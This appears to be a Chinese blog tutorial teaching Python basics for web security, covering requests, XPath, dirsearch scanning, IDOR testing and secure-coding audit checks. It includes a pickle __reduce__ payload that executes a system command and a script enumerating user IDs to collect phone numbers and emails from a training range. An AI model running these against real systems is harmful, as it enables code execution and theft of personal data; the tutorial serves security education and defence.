网安筑基：Web后端安全——Python篇

Sinage

509人浏览 · 2026-05-13 13:46:49

Sinage · 2026-05-13 13:46:49 发布

网安筑基：Web后端安全——Python篇

前置知识： 本系列从 Web 前端安全（HTML/CSS/JS）出发，依次深入 Web 后端安全领域。包括：

网安筑基：Web 服务解析漏洞利用与防御 ← 点击阅读

网安筑基：Web前端三剑客及XSS漏洞攻防基础 ← 点击阅读

网安筑基：Web后端Part1——从PHP基础到文件上传与WebShell ← 点击阅读

网安筑基：Web后端Part2——反序列化漏洞、危险函数与远程文件包含 ← 点击阅读

网安筑基：Web后端安全——Python篇 ← 本篇

至此，Web安全系列筑基阶段完结。

一、Python 基础语法速通

1.1 Python 是什么

Python 是一种解释型、面向对象、动态数据类型的高级编程语言，以可读性强、简洁易学著称。

项目	内容
官网	https://www.python.org
当前主流版本	Python 3.x（Python 2 已于 2020 年停止维护）
特点	语法简洁、生态丰富、安全工具众多

1.2 注释

# 单行注释：#号后内容不执行

'''多行注释
用三个单引号包裹'''

"""多行注释
用三个双引号包裹"""

1.3 变量

变量是存储数据的容器，由名称和值组成：

a = 10      # a 是变量名，10 是值，= 是赋值符号
name = 'Sinage'

注意： Python 是动态类型语言，变量类型由值自动推断，无需声明类型。

1.4 输入与输出

print("Hello, Python!")                    # 输出内容到终端
name = input('请输入你的姓名：')           # 从键盘读取输入

1.5 缩进：Python 的灵魂

Python 与其他语言最大的区别：不靠大括号 {} 控制代码块，而是靠缩进。

if a > 1:
    print(666)   # if 分支，缩进 4 空格
else:
    print(000)   # else 分支，必须同样缩进

⚠️ 常见错误： 缩进不一致会触发 IndentationError。这是 Python 特有的语法规则，也是最容易踩的坑之一。

二、数据类型与流程控制

2.1 六种标准数据类型

类型	说明	示例
Numbers（数字）	不可变类型	`var1 = 1`
String（字符串）	字符序列	`s = 'abcdef'`
List（列表）	可变有序集合	`['Beyond', 786, 2.23]`
Tuple（元组）	不可变有序集合，类似只读列表	`('Beyond', 786)`
Set（集合）	无序不重复	`{1, 2, 3}`
Dictionary（字典）	键值对映射	`{'name': 'Beyond', 'code': 6734}`

2.2 字符串操作

str = 'Hello World!'

print(str)         # 输出完整字符串：Hello World!
print(str[0])      # 输出第一个字符：H
print(str[2:5])    # 输出第三个至第六个字符：llo

2.3 if-elif-else 条件语句

num = 5

if num == 3:
    print('3')
elif num == 2:
    print('2')
elif num == 1:
    print('1')
else:
    print('other')   # 以上条件均不成立时输出

2.4 while 循环

count = 0
while count < 10:
    print('The count is:', count)
    count = count + 1

continue 和 break：

i = 1
while i < 10:
    i += 1
    if i % 2 != 0:    # 非双数时跳过输出
        continue
    print(i)          # 输出双数：2、4、6、8、10

i = 1
while 1:              # 循环条件必定成立
    print(i)
    i += 1
    if i > 10:
        break         # 跳出循环

2.5 for 循环

# 遍历字符串
for letter in 'Python':
    print("当前字母: %s" % letter)

# 遍历列表
Big4s = ['PwC', 'EY', 'Dtt', 'KPMG']
for big4 in big4s:
    print('当前big4:', big4)

# range 生成数字序列
for i in range(1, 10):
    print('当前数字:', i)

三、函数与模块

3.1 函数

函数是组织好的、可重复使用的代码段，使用 def 关键字定义：

# 例1：无返回值函数
def printme(name):
    "打印传入的字符串"
    print('我的名字叫：', name)

printme('Sinage')

# 例2：有返回值函数
def sum(arg1, arg2):
    total = arg1 + arg2
    print("Total:", total)
    return total

result = sum(10, 20)
print(result)   # 输出 30

return： 不带表达式的 return 相当于返回 None。

3.2 模块

模块是扩展名为 .py 的 Python 文件，用于封装函数、类和变量，提升代码的组织性、重用性和可维护性。

模块类型	说明	示例
系统内置模块	Python 自带标准库，无需安装	`os`、`sys`、`random`、`time`
第三方模块	PyPI 公共仓库，需 pip 安装	`requests`、`lxml`、`pandas`
自定义模块	开发者自己编写的 .py 文件	自己写的 `myutils.py`

3.3 两种核心导入方式

# 方式一：完整导入（推荐常用核心库）
import requests
resp = requests.get(url)

# 方式二：精准导入（节省资源，推荐特定功能）
from lxml import etree
result = etree.HTML(html)

3.4 pip 包管理

pip 是 Python 的官方包管理器：

# 更新 pip 自身
pip install --upgrade pip

# 安装单个库
pip install requests

# 使用国内镜像源安装（速度更快）
pip install requests -i https://mirrors.aliyun.com/pypi/simple/

# 批量安装 requirements.txt 中的所有依赖
pip install --upgrade -r requirements.txt -i https://mirrors.aliyun.com/pypi/simple/

💡 安全提示： 安全类 Python 工具（如 sqlmap、dirsearch）通常会提供 requirements.txt 文件，列出了所有依赖库，安装前一定要先执行这个命令！

四、类与对象：魔术方法

4.1 类与对象基础

class People:
    # __init__ 是构造方法，实例化时自动调用
    def __init__(self, name):
        self.name = name
        print("初始化函数，打印构造函数")

    def speak(self):
        print("我叫:", self.name)

p1 = People("Sinage")   # 实例化对象
p1.speak()            # 调用方法

4.2 魔术方法详解

魔术方法（Magic Method）又称双下划线方法或特殊方法，是 Python 为对象提供内置特殊行为的机制。

魔术方法	触发时机	作用
`__init__`	实例化对象后立即触发	初始化对象成员
`__del__`	对象被销毁时触发（垃圾回收）	关闭或释放资源
`__getstate__`	`pickle.dump()` 序列化时调用	控制序列化内容
`__setstate__`	`pickle.load()` 反序列化时调用	恢复对象状态
`__reduce__`	pickle 序列化时调用	定义对象如何被序列化

init：初始化构造方法

class User:
    def __init__(self, username, email):
        self.username = username
        self.email = email
        print(f"用户 {username} 已创建")

user = User("admin", "admin@test.com")
# 输出：用户 admin 已创建

del：析构方法

class FileHandler:
    def __init__(self, filename):
        self.file = open(filename, 'w')
        print("文件已打开")

    def write(self, data):
        self.file.write(data)

    def __del__(self):
        self.file.close()
        print("文件已关闭，资源已释放")

⚠️ Python 的垃圾回收不是立即执行的，由解释器在适当时机回收未被引用的对象。

getstate / setstate：序列化控制

import pickle

class Config:
    def __init__(self, password):
        self.password = password    # 敏感数据
        self.server = "192.168.1.1"

    def __getstate__(self):
        # 序列化时排除敏感字段
        state = self.__dict__.copy()
        del state['password']
        return state

    def __setstate__(self, state):
        # 反序列化时恢复状态
        self.__dict__.update(state)
        self.password = "default"   # 敏感字段使用默认值

config = Config("secret123")
data = pickle.dumps(config)         # 序列化（ password 被排除）
restored = pickle.loads(data)       # 反序列化

reduce：自定义序列化行为

import pickle

class RCEPayload:
    def __reduce__(self):
        # 返回系统命令执行函数及参数
        import os
        return (os.system, ('whoami',))

payload = RCEPayload()
pickled = pickle.dumps(payload)
pickle.loads(pickled)   # 执行 whoami 命令

⚠️ 安全警示： 接收不可信来源的 pickle 数据进行反序列化，可能导致远程代码执行（RCE）！这是 Python 特有的反序列化漏洞利用链（与 PHP 的 unserialize 漏洞原理相同）。

五、网络请求：用 Python 模拟浏览器

5.1 requests 库：Python 的"浏览器"

requests 是 Python 最常用的 HTTP 请求库，用于模拟浏览器向网站发送请求、获取数据：

import requests

url = "https://www.example.com"
resp = requests.get(url)
print(resp.status_code)   # 响应状态码
print(resp.text)          # 响应文本内容

5.2 请求头配置：伪装成"正经"浏览器

网站通过请求头（Headers）识别访问者是否为真实浏览器：

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
    "Cookie": "session=abc123; token=xyz789",
    "Referer": "https://www.example.com/login"
}

请求头	作用	说明
User-Agent	标识访问设备/浏览器	必须设置，否则易被识别为爬虫
Cookie	标识登录状态	访问需要登录的页面时必须携带
Referer	标识请求来源	部分网站验证，防止跨站请求

5.3 动态 URL：批量生成请求地址

url_template = "http://target.com/user?id={}"  #{}为占位符

for i in range(1, 101):
    url = url_template.format(i)   # 依次填充 id=1, id=2, ... id=100
    resp = requests.get(url, headers=headers)

💡 安全视角： 这种"遍历 ID"模式是 IDOR（越权访问） 漏洞的典型特征——服务端仅依赖客户端传来的 ID 参数，未验证当前用户是否有权访问该资源。

六、数据解析：XPath 与 JSON

6.1 解析 HTML：豆瓣电影 Top250 案例

当网页返回 HTML 格式数据时，用 lxml 库的 etree + XPath 定位目标数据：

import requests
from lxml import etree

url = "https://movie.douban.com/top250"
headers = {'User-Agent': 'Mozilla/5.0 ...'}

# 1. 发送请求获取网页内容
resp = requests.get(url, headers=headers)
resp.encoding = 'utf-8'

# 2. 解析 HTML 为可查询结构
tree = etree.HTML(resp.text)

# 3. XPath 定位电影名称
# //div[@class="item"]：匹配 class=item 的 div 标签
# //span[@class="title"][1]：在 div 内找第一个 class=title 的 span
# /text()：提取标签内的纯文本
titles = tree.xpath('//div[@class="item"]//span[@class="title"][1]/text()')

# 4. 打印结果
for title in titles:
    print(title)

XPath 核心语法速查

语法	含义	示例
`//`	全局匹配（忽略层级）	`//div`：找所有 div 标签
`@`	匹配属性	`div[@class="item"]`：找 class=item 的 div
`[n]`	取第 n 个匹配结果	`span[1]`：取第一个 span
`/text()`	提取标签内文本	`span/text()`：取 span 里的文字

练习： 如果想提取电影评分（class 为 rating_num），XPath 应该怎么写？

答案：//div[@class="item"]//span[@class="rating_num"]/text()

6.2 解析 JSON：用户数据爬取案例

JSON 是轻量级数据交换格式，比 HTML 更易解析：

import requests
import json

url = "http://target.com/api/user/1"
headers = {'User-Agent': 'Mozilla/5.0 ...'}

resp = requests.get(url, headers=headers)

# 判断响应状态并解析 JSON
if resp.status_code == 200:
    data = resp.json()   # 将 JSON 文本转换为字典

    if data.get("ok"):
        users = []
        users.append({
            "id": 1,
            "username": data["username"],
            "phone": data["phone"],
            "email": data["email"]
        })
        print(users)

response.json()：将服务器返回的 JSON 文本转换为 Python 字典，可直接用 data["key"] 提取值。

七、异常处理：try-except

7.1 为什么需要异常处理

代码执行过程中可能遇到各种异常（网络超时、服务器断开、ID 不存在等）。使用 try-except 可以捕获异常，保证程序不会因为单次错误而崩溃：

try:
    # 可能出错的代码
    for i in range(1, 100):
        url = f"http://target.com/api/user/{i}"
        resp = requests.get(url, headers=headers, timeout=5)
        data = resp.json()
        users.append(data)
except Exception as e:
    pass   # 捕获异常后什么都不做，继续执行下一个循环

💡 pass 的意思是"无视这个异常"，让循环继续执行下一个 ID 的请求。

7.2 异常处理的三层结构

try:
    # 业务逻辑代码
    result = risky_operation()
except Exception as e:
    # 异常处理逻辑
    print(f"出错了: {e}")
finally:
    # 无论是否异常都执行（用于资源清理）
    print("无论是否出错，这段代码都会执行")

八、安全实战：目录扫描工具 dirsearch

8.1 工具作用

dirsearch 通过字典爆破向目标网站发送请求，根据响应状态码判断隐藏目录/文件（如开发人员遗漏的源码压缩包、后台管理页面）。

8.2 安装与使用（Kali Linux）

# 安装工具
apt-get install dirsearch

# 扫描目标网站
dirsearch -u "http://192.168.2.21/sinage/labs/php"

💡 国内源安装依赖： pip install --upgrade -r requirements.txt -i https://mirrors.aliyun.com/pypi/simple/

8.3 扫描结果解读

dirsearch 输出的每行格式为：[时间] 状态码 - 文件大小 - 扫描路径

状态码	含义	渗透价值
200	可正常访问	高（可直接查看内容）
301/302	重定向	中（需追踪跳转目标）
403	访问被禁止	低（但可能泄露配置信息）

⚠️ 关键发现： 扫描结果中如果出现以下文件，应立即标记为高危：

[x] 200 - 4KB - /sinage/labs/php/web.zip

web.zip、backup.rar：网站源码备份文件
下载后可直接分析源码，发现更多漏洞

8.4 工具原理

# dirsearch 本质是 Python 循环发送不同路径的请求
import requests

paths = ['admin.php', 'backup.zip', '.htaccess', 'web.zip']
for path in paths:
    url = f"http://target.com/{path}"
    resp = requests.get(url)
    if resp.status_code == 200:
        print(f"发现文件: {url}")

九、安全实战：IDOR 漏洞挖掘

9.1 什么是 IDOR

IDOR（Insecure Direct Object Reference，不安全的直接对象引用）：应用系统通过用户提供的输入（如 ID 参数）直接访问内部对象，而未验证当前用户是否有权访问该对象，导致垂直越权或水平越权。

9.2 攻击步骤

第一步：打开 BurpSuite，开启代理

配置浏览器流量通过 BurpSuite，拦截 HTTP 请求。

第二步：找到个人信息请求

在 HTTP 历史记录中定位到获取个人信息的请求，通常带有用户 ID 参数：

GET /api/user?id=1 HTTP/1.1

第三步：修改 ID 参数

将 id=1 修改为 id=2、id=3 等，观察响应：

GET /api/user?id=2 HTTP/1.1
Host: target.com
Cookie: session=abc123

第四步：判断漏洞

如果返回了其他用户的数据 → IDOR 漏洞确认
如果返回 403 或空数据 → 服务端有权限校验

9.3 靶场实例：某商品管理系统（靶场为内部培训用靶场，此处作脱敏处理）

在靶场环境中，通过遍历用户 ID 批量爬取用户数据：

import requests
import json

users = []

for i in range(1, 21):
    url = f"http://ctf.XXXXXXXX.cn/api/user?id={i}"
    headers = {'User-Agent': 'Mozilla/5.0 ...'}

    try:
        resp = requests.get(url, headers=headers, timeout=5)
        data = resp.json()

        if data.get("ok"):
            users.append({
                "id": i,
                "username": data["username"],
                "phone": data["phone"],
                "email": data["email"]
            })
    except Exception:
        pass

print(f"共获取 {len(users)} 条用户数据")

⚠️ 此脚本仅用于授权靶场环境学习，禁止用于未授权系统。

十、漏洞防御与知识关联

10.1 代码审计视角：安全编码规范

作为 IT 审计人员，审查 Python Web 应用的代码时，应重点关注以下不安全编码模式：

① 反序列化漏洞：pickle.loads()

# ❌ 不安全：直接反序列化不可信来源的 pickle 数据
import pickle
data = pickle.loads(request.data)   # 可能执行任意代码

# ✅ 修复方案：使用 JSON 代替 pickle
import json
data = json.loads(request.data)     # JSON 仅传输数据，不执行代码

审计检查点：

搜索代码中是否存在 pickle.loads()、pickle.load()
确认反序列化输入是否来自可信来源
检查是否有自定义 __reduce__ 方法

② SQL 注入：字符串拼接构造 SQL

# ❌ 不安全：直接拼接用户输入到 SQL
user_input = request.args.get('username')
query = f"SELECT * FROM users WHERE name = '{user_input}'"
cursor.execute(query)

# ✅ 修复方案：参数化查询
user_input = request.args.get('username')
query = "SELECT * FROM users WHERE name = %s"
cursor.execute(query, (user_input,))

审计检查点：

搜索代码中是否存在 execute(f"...")、execute("SELECT ... " + ...) 等字符串拼接
确认所有数据库查询均使用参数化查询（Parameterized Query）
使用 ORM 框架（如 SQLAlchemy）从源头避免 SQL 注入

③ 敏感信息硬编码

# ❌ 不安全：密钥/密码硬编码在代码中
API_KEY = "sk-abcdef1234567890"
PASSWORD = "admin123"

# ✅ 修复方案：使用环境变量
import os
API_KEY = os.environ.get("API_KEY")
DB_PASSWORD = os.environ.get("DB_PASSWORD")

审计检查点：

搜索代码中是否存在 "password"、"secret"、"key" 等敏感字样的字符串常量
确认生产环境配置是否通过环境变量或密钥管理服务（KMS）注入
检查 .gitignore 是否包含 .env 文件

④ 越权访问：未校验用户权限

# ❌ 不安全：仅依赖客户端传来的 ID，未校验权限
def get_user_profile(user_id):
    return db.query(f"SELECT * FROM users WHERE id = {user_id}")

# ✅ 修复方案：服务端校验当前用户身份和权限
def get_user_profile(request, user_id):
    current_user = get_current_user(request)      # 从 Session 获取当前登录用户
    if current_user.id != user_id and not is_admin(current_user):
        raise PermissionDenied()                  # 无权访问
    return db.query("SELECT * FROM users WHERE id = %s", (user_id,))

审计检查点：

搜索所有带有 id 参数的 API 路由
确认每个路由是否都有权限校验逻辑
检查是否存在未经验证的直接对象引用（IDOR）

⑤ 敏感文件泄露：Web 目录下的备份文件

# ❌ 不安全：源码备份放在 Web 可访问目录
# /var/www/html/web.zip
# /var/www/html/backup.sql

# ✅ 修复方案：
# 1. 备份文件存放在 Web 根目录之外
# 2. 服务器配置禁止访问 .zip / .bak / .sql 等文件类型
# 3. 定期巡检并清理

审计检查点：

检查 Web 根目录下是否存在 .zip、.rar、.bak、.sql、.tar 等备份文件
审查 Nginx/Apache 配置，确认是否配置了禁止访问敏感文件的规则
使用 dirsearch 或类似工具主动扫描，确认无敏感文件暴露

代码审计快速检查清单

编号	检查项	关键词/搜索模式	风险等级
1	pickle 反序列化	`pickle.loads`、`pickle.load`	🔴 高
2	SQL 注入	`execute(f"`、`cursor.execute("SELECT " +`	🔴 高
3	敏感信息硬编码	`"password"`、`"secret"`、`"key"` 硬编码字符串	🟡 中
4	IDOR 越权访问	带 `id` 参数的路由，缺少权限校验	🔴 高
5	敏感文件泄露	Web 目录下 `.zip`、`.bak`、`.sql`	🟡 中
6	缺少请求头验证	requests 未设置 User-Agent / timeout	🟢 低
7	缺少异常处理	循环中无 try-except，可能中断数据采集	🟢 低

10.2 防御方案汇总

漏洞类型	防御方案
IDOR	服务端校验当前用户权限，禁止仅依赖客户端 ID；使用随机化不可预测的 ID
目录遍历/敏感文件泄露	禁止在 Web 根目录存放备份文件；配置服务器禁止访问 `.zip`、`.bak`、`.sql` 等文件
pickle 反序列化	禁止反序列化不可信来源的 pickle 数据；使用 JSON 代替 pickle
爬虫反制	设置访问频率限制；启用验证码；关键页面要求登录

10.3 Python vs PHP：关键差异对比

对比维度	Python	PHP
变量声明	动态类型，无需声明	`$_GET` / `$_POST` 等超全局变量
序列化	`pickle`（危险！）、`json`（安全）	`serialize()` / `unserialize()`（危险）
魔术方法	`__init__` / `__del__` / `__reduce__` 等	`__construct` / `__destruct` / `__wakeup` 等
Web 框架	Django / Flask / FastAPI	原生 PHP / Laravel / ThinkPHP
反序列化漏洞	`pickle.loads()` 恶意数据可 RCE	`unserialize()` POP 链 RCE

10.4 快速排查清单

Python Web 安全自检：

是否使用 pickle.loads() 处理外部数据？→ 替换为 JSON
是否有 ID 参数直接访问数据库记录？→ 增加权限校验
Web 目录下是否有 .zip、.rar、.bak 备份文件？→ 立即清理
requests 请求是否配置了 User-Agent 和 timeout？
XPath 解析是否对输入做了过滤，防止 XPath 注入？

十一、知识点总结

Python 数据类型（6种）：Numbers、String、List、Tuple、Set、Dictionary
模块导入：完整导入 import requests vs 精准导入 from lxml import etree
requests 库：Python 的"浏览器"，headers 配置是关键（User-Agent / Cookie / Referer）
XPath 语法：//div[@class="item"]//span[@class="title"][1]/text()
JSON 解析：response.json() 将 JSON 文本转换为字典
异常处理：try-except 保证循环不会因单次错误终止
dirsearch：目录扫描工具，警惕 .zip 源码泄露
IDOR 漏洞：服务端未校验用户权限，仅依赖客户端 ID
魔术方法：__reduce__ 可用于 pickle 反序列化 RCE
防御核心：永远不要相信客户端数据，所有校验必须在服务端完成

靶场推荐

靶场	地址	难度
DVWA	https://dvwa.co.uk	入门
WebGoat	https://owasp.org/www-project-webgoat/	入门~中级
Vulhub	https://vulhub.org	中级~高级

本文整理自网络安全课程资料，内容仅供学习与安全意识提升使用。请勿将相关知识用于任何未经授权的系统渗透测试，遵守法律法规。

亚马逊云科技技术品牌专区

更多推荐

主动推理-人工海马

2026年07月04日 00:21发言人00:00制造能够思考的机器是人类长久以来的梦想，但这到底意味着什么呢？智能的一个显著特性是能够泛化知识，并灵活地将其应用于新情况。这种泛化确实是现代机器学习的核心问题之一。在这段视频中，我们将探讨如何汲取海马体负责记忆和导航的大脑结构的生物学组织，来构建一个能够学习构建抽象和泛化的计算模型。我们将探索这个模型带给我们关于大脑自身及人工智能领域的启示。发言人

亚马逊云科技技术品牌专区

分布式事务尝试取消确认模式的具体实现步骤

首先需要事务协调器（Transaction Coordinator），负责协调整个分布式事务的流程，记录事务状态，并在必要时触发补偿操作。尝试取消确认模式（Try-Cancel-Confirm，简称TCC）作为一种补偿型分布式事务解决方案，通过业务逻辑层面的拆解，提供了更灵活的一致性实现方式。未来，随着事务中间件的成熟和云原生技术的发展，TCC模式的实施成本将进一步降低，应用场景也将更加广泛。Co

亚马逊云科技技术品牌专区

人工智能赋能新型工业化实施路径方法论

亚马逊云科技技术品牌专区

所有评论(0)

查看更多评论

Sinage

@weixin_44457770

已为社区贡献2条内容

网安筑基：Web后端安全——Python篇

Sinage

网安筑基：Web后端安全——Python篇

一、Python 基础语法速通

1.1 Python 是什么

1.2 注释

1.3 变量

1.4 输入与输出

1.5 缩进：Python 的灵魂

二、数据类型与流程控制

2.1 六种标准数据类型

2.2 字符串操作

2.3 if-elif-else 条件语句

2.4 while 循环

2.5 for 循环

三、函数与模块

3.1 函数

3.2 模块

3.3 两种核心导入方式

3.4 pip 包管理

四、类与对象：魔术方法

4.1 类与对象基础

4.2 魔术方法详解

init：初始化构造方法

del：析构方法

getstate / setstate：序列化控制

reduce：自定义序列化行为

五、网络请求：用 Python 模拟浏览器

5.1 requests 库：Python 的"浏览器"

5.2 请求头配置：伪装成"正经"浏览器

5.3 动态 URL：批量生成请求地址

六、数据解析：XPath 与 JSON

6.1 解析 HTML：豆瓣电影 Top250 案例

XPath 核心语法速查

6.2 解析 JSON：用户数据爬取案例

七、异常处理：try-except

7.1 为什么需要异常处理

7.2 异常处理的三层结构

八、安全实战：目录扫描工具 dirsearch

8.1 工具作用

8.2 安装与使用（Kali Linux）

8.3 扫描结果解读

8.4 工具原理

九、安全实战：IDOR 漏洞挖掘

9.1 什么是 IDOR

9.2 攻击步骤

9.3 靶场实例：某商品管理系统（靶场为内部培训用靶场，此处作脱敏处理）

十、漏洞防御与知识关联

10.1 代码审计视角：安全编码规范

① 反序列化漏洞：pickle.loads()

② SQL 注入：字符串拼接构造 SQL

③ 敏感信息硬编码

④ 越权访问：未校验用户权限

⑤ 敏感文件泄露：Web 目录下的备份文件

代码审计快速检查清单

10.2 防御方案汇总

10.3 Python vs PHP：关键差异对比

10.4 快速排查清单

十一、知识点总结

靶场推荐

所有评论(0)

温馨提示：您尚未绑定手机号

Sinage